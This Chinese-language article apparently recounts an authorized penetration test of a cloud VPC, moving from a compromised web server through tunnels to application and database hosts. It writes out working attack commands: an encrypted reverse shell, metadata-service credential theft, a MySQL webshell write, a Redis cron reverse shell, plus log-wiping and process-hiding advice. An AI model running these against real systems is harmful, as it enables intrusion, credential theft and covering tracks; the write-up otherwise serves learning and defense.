1. 项目概述:从边界突破到核心失守的典型路径

在云原生和混合架构成为主流的今天,传统的“内网”概念已经演变为一个个逻辑隔离的虚拟私有云(VPC)。很多安全团队认为,只要把业务放进VPC,配置好安全组,就相当于筑起了一道高墙。但现实往往很骨感,攻击者一旦通过某个薄弱点(比如一个配置不当的Web应用服务器)突破边界,VPC内部广阔的多网段环境,反而可能成为其肆意横向移动的“高速公路”。我最近参与的一次授权渗透测试,就完整地经历了从外网打点到VPC内部多网段横向移动,最终拿下核心数据库权限的全过程。这不仅仅是工具和命令的堆砌,更是一场关于网络拓扑理解、权限接力与对抗安全策略的思维博弈。

这次实战的目标环境是一个典型的三层Web架构,部署在某个主流云服务商的VPC中。从外网看,只有一个负载均衡器暴露了80和443端口。但内部却划分了至少三个子网:面向公网的Web层子网、处理业务逻辑的应用层子网,以及存放核心数据的数据层子网。安全组规则看起来严格,只允许必要的端口流量在特定网段间流动。我们的起点,就是那个看似坚固,实则因为一个老旧框架漏洞而沦陷的Web服务器。接下来的故事,将围绕如何在这个隔离的网络迷宫中,一步步摸清道路、建立据点、扩大战果,直至触及最敏感的数据核心。无论你是安全工程师想加固防御,还是渗透测试人员学习进阶,这种在复杂网络环境下的“生存与扩张”技巧,都至关重要。

2. 环境侦察与初始立足点巩固

2.1 信息收集:绘制看不见的网络地图

拿下一台Web服务器(假设内网IP为 10.0.1.5 )的Shell只是开始。在VPC环境下,盲目扫描等同于自杀,极易触发告警。第一步必须是低调地绘制内部网络地图。

我做的第一件事是检查当前主机的网络配置:

ip addr show
cat /etc/resolv.conf
route -n

这能快速获取当前网段(如 10.0.1.0/24 )、网关和DNS服务器。DNS服务器(通常是VPC内网的 10.0.0.2 这类地址)是个宝库,可能解析出其他内部域名。

接下来是主机发现。大规模ICMP或TCP端口扫描风险太高。我倾向于使用更隐蔽、更低速的方式:

  1. ARP侦查 :对于同一子网, arp -a 命令可以列出当前ARP缓存中的主机,这无声无息。
  2. 利用现有连接 netstat -antp 查看当前服务器已有的网络连接,可能会发现它正在与后端应用服务器(如 10.0.2.10:8080 )或数据库通信,直接揭示了关键路径。
  3. 基于DNS的枚举 :尝试对常见主机名进行DNS解析,如 mysql.internal app-01 jenkins gitlab 等。云环境内部也常有规律的主机命名方式。
  4. 有限的端口扫描 :如果必须扫描,我会先用 fping ping 对网关和推测的相邻IP(如 10.0.1.1-10.0.1.10 )做存活探测,然后仅对存活IP扫描特定高价值端口(如22, 445, 5985, 5986, 27017, 6379等),并使用非常慢的速率( -T 设置)和随机扫描顺序。

注意 :在云环境中,安全组是主要的网络访问控制层。即使两台主机在同一VPC但不同子网,如果安全组没有放行相应流量,也是无法通信的。因此,信息收集阶段也要尝试推断安全组规则,例如,尝试从当前主机 10.0.1.5 去连接 10.0.2.10 的22端口,如果超时,不一定是主机不存在,更可能是安全组拦截。

2.2 立足点强化:建立可靠的持久化通道

通过Web漏洞获取的Shell往往不稳定,可能是Web服务权限(如 www-data ),且容易因进程重启而丢失。必须立即建立稳固的后门。

我的首选是在目标上部署一个加密的反弹Shell。避免使用常见的 bash -i nc ,它们容易被检测。我会上传一个静态编译的、功能丰富的后门程序,如 mkfifo 管道结合加密的 openssl s_client ,或者使用 msfvenom 生成一个定制化的、过杀毒软件的ELF载荷。

# 示例:使用openssl加密的反弹shell(在目标机上执行)
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 攻击机IP:4444 > /tmp/s; rm /tmp/s

同时在攻击机上监听:

openssl s_server -quiet -key key.pem -cert cert.pem -port 4444

其次,必须提权。检查内核版本、已安装软件、SUID文件、计划任务、可写路径等。在云主机上,一个常见的突破口是检查是否有云服务商的管理元数据服务(如AWS的IMDS, Azure的Instance Metadata Service)。如果Web服务器角色配置不当,能够访问元数据服务,就可能获取到附加的IAM角色凭证,从而从“主机权限”跃升到“云平台权限”,这将是降维打击。

# 尝试访问AWS元数据服务
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

如果获取到IAM密钥,攻击面就从这一台虚拟机扩展到了整个云账户的API权限。

最后,清理痕迹并部署多个持久化方式,如添加SSH密钥、创建系统服务或计划任务。确保即使一个后门被发现,还有其他入口。

3. 网络拓扑分析与横向移动策略制定

3.1 理解云网络隔离逻辑

在传统内网,横向移动可能依赖NetBIOS、LLMNR投毒或MS17-010这类漏洞。但在VPC环境,尤其是Linux占主导的云原生架构中,攻击面发生了变化。核心是理解两个隔离层:

  1. 子网(Subnet)路由层 :VPC内的子网默认是互联的,路由表控制流量走向。但路由通畅不代表能通信。
  2. 安全组(Security Group)层 :这是主要的防火墙。规则通常是“白名单”模式,明确指定源、目标、端口协议。例如,Web层子网的安全组可能只允许80/443端口入站,而出站规则可能宽松。应用层子网的安全组可能只允许来自Web层子网IP段的特定端口(如8080)入站。

因此,横向移动的本质,是 沿着业务流量被允许的路径前进 ,并 利用路径上每一跳主机的安全漏洞或配置错误

3.2 制定多网段渗透路径

基于前期收集的信息,我画出了一个简单的逻辑图:

  • 跳板A(Web层, 10.0.1.5) :已控制。出站规则较宽松。
  • 目标B(应用层, 10.0.2.0/24) :从A到B,只有到特定IP(如 10.0.2.10 )的特定端口(如TCP 8080)是通的。
  • 目标C(数据层, 10.0.3.0/24) :从B到C,可能只允许数据库端口(如MySQL 3306, Redis 6379)。

那么路径就很清晰了:

  1. 以A为跳板,攻击B的8080端口服务。
  2. 拿下B后,以B为跳板,攻击C的数据库服务。
  3. 攻击数据库服务本身,或利用数据库权限在数据库服务器上执行命令。

这里的关键是“跳板”技术。我们不能直接从攻击机访问 10.0.2.10:8080 ,但可以通过已控制的A主机来转发流量。

4. 多网段横向移动核心技术实现

4.1 隧道与代理技术选型与应用

要让我们的攻击工具能访问到内网深层的目标,必须建立隧道。根据场景不同,我主要用三种方式:

1. 端口转发(Port Forwarding) :简单直接,适用于访问单个端口。

  • 本地转发(-L) :将攻击机本地一个端口,通过跳板机映射到目标内网端口。
    # 在攻击机上执行,通过SSH连接到跳板A,将本机8888端口转发到B的8080端口
    ssh -L 8888:10.0.2.10:8080 user@<跳板A公网IP> -N
    
    然后,在攻击机浏览器访问 http://127.0.0.1:8888 ,流量路径就是:攻击机 -> 跳板A -> 10.0.2.10:8080。
  • 远程转发(-R) :在跳板机上开一个端口,将其流量转发到攻击机指定的目标。这在跳板机出网但攻击机不入网时有用。
    # 在跳板A上执行,将A的9999端口转发到攻击机的4444端口(用于反弹shell)
    ssh -R 9999:127.0.0.1:4444 user@<攻击机IP> -N
    

2. SOCKS代理 :需要访问多个目标、多个端口时,端口转发就太麻烦了。SOCKS代理相当于在跳板机上建立一个透明的流量通道。

  • 我常用 EarthWorm (ew)、 reGeorg Neo-reGeorg 。以ew为例,在跳板A上上传 socks5 服务端:
    ./ew_for_linux -s ssocksd -l 1080
    
  • 然后在攻击机上配置Proxychains等工具,让所有流量都经过这个SOCKS代理。这样,我就可以直接用nmap、sqlmap等工具去扫描和攻击 10.0.2.0/24 网段了,就像攻击机直接在那个网段一样。
    proxychains nmap -sT -Pn 10.0.2.10  # 通过代理扫描
    

3. 全隧道工具 :如 FRP Ngrok 。功能更强大,可以穿透多层NAT,管理方便。我通常在需要稳定、长期控制,且网络环境复杂时使用。配置一个服务端在公网VPS,客户端在跳板机,即可将内网端口暴露到公网,或者建立全流量隧道。

实操心得 :选择哪种方式,看场景。临时、单端口访问用SSH转发最快。需要大规模探测和工具联动,SOCKS代理是必须的。在真实对抗中,我会同时部署多个通道,一个用于日常交互(如SSH),一个用于工具流量(如SOCKS),互为备份。另外,务必注意隧道工具的隐蔽性,避免使用默认端口和特征。

4.2 针对应用层服务的突破

通过代理,我们终于能接触到应用服务器B( 10.0.2.10:8080 )了。假设它是一个Java应用,可能存在的攻击点:

  • Web管理接口 :如 /actuator /manager/html , 若未授权访问,可能直接导致RCE。
  • API漏洞 :未经验证的API端点、SQL注入、命令注入、反序列化漏洞(如Jackson, Fastjson)。
  • 组件漏洞 :Spring Boot、Shiro、Log4j2等框架的历史RCE漏洞。
  • 弱口令与默认凭证 :尝试登录应用的管理后台、数据库连接池管理界面等。

在这次测试中,我们通过代理访问该应用的 /actuator/env 端点,发现其未授权访问,并且环境变量中泄露了数据库连接密码。但我们的目标不仅是数据,而是服务器权限。进一步测试 /actuator/gateway 端点,发现存在路由可被操纵,最终通过构造恶意请求,在服务器上实现了远程代码执行,获得了一个反向Shell连接回我们设置在跳板A上的监听端口。

至此,我们控制了第二台主机(应用服务器B),进入了 10.0.2.0/24 网段。

5. 向数据层渗透与权限提升

5.1 以应用服务器为跳板,探测数据层

现在,我们站在了应用服务器B上。重复第一步的信息收集,发现B与 10.0.3.0/24 网段通信。 netstat 显示它正连接到 10.0.3.5:3306 (MySQL)和 10.0.3.6:6379 (Redis)。

目标明确:拿下数据库服务器。但安全组很可能只允许B访问这些特定端口。我们需要从数据库服务本身或数据库权限上找突破口。

5.2 数据库攻击与权限提升

1. MySQL数据库攻击

  • 利用之前泄露的数据库密码,我们直接从B服务器连接MySQL。
  • 检查MySQL版本、用户权限。如果是以高权限(如 root )运行,并且 secure_file_priv 设置宽松,可以尝试写入WebShell或SSH公钥。
-- 查看权限
SELECT user, host, file_priv FROM mysql.user WHERE user='root';
-- 尝试写文件
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
  • 利用MySQL UDF提权:如果条件允许,可以编译恶意UDF(用户定义函数)库,通过MySQL加载并执行系统命令。这在老版本或配置不当的MySQL中可行。

2. Redis未授权访问/弱口令攻击

  • Redis如果以root身份运行,且未设置密码或绑定到 0.0.0.0 ,将是致命漏洞。
  • 通过Redis,我们可以直接写计划任务(Crontab)或者写SSH公钥到 /root/.ssh/authorized_keys ,从而获取服务器root权限。
# 在攻击机或跳板B上操作
redis-cli -h 10.0.3.6
> config set dir /var/spool/cron/
> config set dbfilename root
> set x "\n\n* * * * * bash -i >& /dev/tcp/10.0.2.10/4444 0>&1\n\n"
> save

上述操作会尝试在 10.0.3.6 上写入一个每分钟执行一次的反向Shell计划任务。前提是Redis服务有对应目录的写权限。

3. 利用数据库外连功能

  • 在某些数据库(如PostgreSQL的 COPY TO PROGRAM , SQL Server的 xp_cmdshell )中,如果配置允许,可以直接执行操作系统命令。我们需要在B服务器上建立到C服务器的隧道,然后通过数据库连接来执行命令,相当于把数据库客户端当作一个命令执行通道。

在这次实战中,MySQL的 secure_file_priv 设置为 NULL ,写文件失败。但Redis是空密码且root运行。我们成功通过写入SSH公钥,获得了 10.0.3.6 (Redis服务器)的root权限。而该Redis服务器与MySQL服务器( 10.0.3.5 )处于同一数据层子网,且安全组规则可能更宽松(基于同一安全组)。我们得以从 10.0.3.6 横向移动到 10.0.3.5 ,最终通过本地漏洞或配置缺陷,也拿下了MySQL服务器的权限。

5.3 权限提升与信息收割

在数据层服务器上,我们进行了最高权限的巩固和信息收割:

  • 收集数据库中的所有敏感数据 :这是核心目标。
  • 转储所有数据库连接字符串、配置文件 :可能包含其他环境或服务的凭证。
  • 检查云元数据服务 :数据层服务器可能关联了更高权限的IAM角色,可以访问对象存储(S3)、密钥管理等服务。
  • 建立全域监听 :在数据层服务器上部署流量监听工具(如tcpdump),捕获可能存在的管理流量、备份流量,可能发现新的网络段或凭证。
  • 黄金票据/白银票据(如果是Windows域环境) :虽然本次是Linux环境,但在混合云中,Windows域控也常见。如果遇到,在拿到域控权限后,制作黄金票据可以获取域内任意服务的访问权限,实现真正的“权限提升”。

6. 隐蔽、清理与反溯源考量

在整个横向移动过程中,隐蔽性至关重要。一些基本操作原则:

  • 日志清理 :谨慎清理或伪造访问日志、命令历史( ~/.bash_history )、系统日志(如 /var/log/auth.log )。对于MySQL、Redis等服务,也要注意清理其日志或操作记录。
  • 流量伪装 :所有隧道、代理流量尽量加密。使用常见的HTTPS(443)端口进行隧道传输,混淆在正常业务流量中。
  • 时间规避 :在业务低峰期进行操作,避免短时间内产生大量异常连接。
  • 文件隐藏 :上传的工具、后门使用隐藏文件名(以点开头),或放在 /dev/shm /tmp 这类临时文件系统,甚至直接内存执行。
  • 进程隐藏 :使用 libprocesshider 等工具隐藏进程,或者将后门注入到正常进程中。

常见问题与排查

  1. 隧道建立失败 :首先检查跳板机出网是否被限制。尝试连接公网IP的常见端口(如80, 443)。如果出网流量被安全组或网络ACL限制,可能需要寻找其他出口,如利用Web应用的对外请求功能(SSRF)或DNS隧道。
  2. “访问被拒绝”或“许可证存储创建失败” :这类错误常见于Windows系统的远程桌面(RDP)连接。可能原因是目标服务器未开启远程桌面、防火墙阻止、或用户不属于“Remote Desktop Users”组。在Linux环境下,类似错误可能是SSH服务配置禁止了密码登录或Root登录,或者 .ssh/authorized_keys 文件权限不对(必须是600)。解决方法是先通过其他方式(如WebShell)修正配置或添加正确密钥。
  3. 工具执行无反应 :可能是上传的二进制文件架构不匹配(如x86程序上传到ARM主机),或者缺少动态链接库。使用 file 命令查看文件类型,使用 ldd 检查依赖。优先使用静态编译的工具,或者目标系统自带的解释器(如python, perl)来编写后门。
  4. 横向移动停滞 :感觉“没路走了”。这时要回头仔细分析已获取的所有信息:网络连接、配置文件、历史命令、进程列表、计划任务、环境变量、云元数据。突破口往往藏在细节里。例如,一个不起眼的配置文件里可能写着另一个环境的跳板机密码。

整个渗透过程,就像是在一个由安全组和子网构成的立体迷宫中寻路。每个被攻陷的主机都是一个新起点,其网络权限和存储的信息决定了下一步能走向何方。防守方的优势在于隔离和监控,而攻击方的优势在于一点突破后的持续渗透能力。对于防御者而言,仅仅加固边界是远远不够的,必须假设边界已被突破,严格执行网络微隔离、最小权限原则、凭据定期轮换,并对所有内部网络流量进行异常检测,才能有效遏制这种“多点开花”式的横向移动。

更多推荐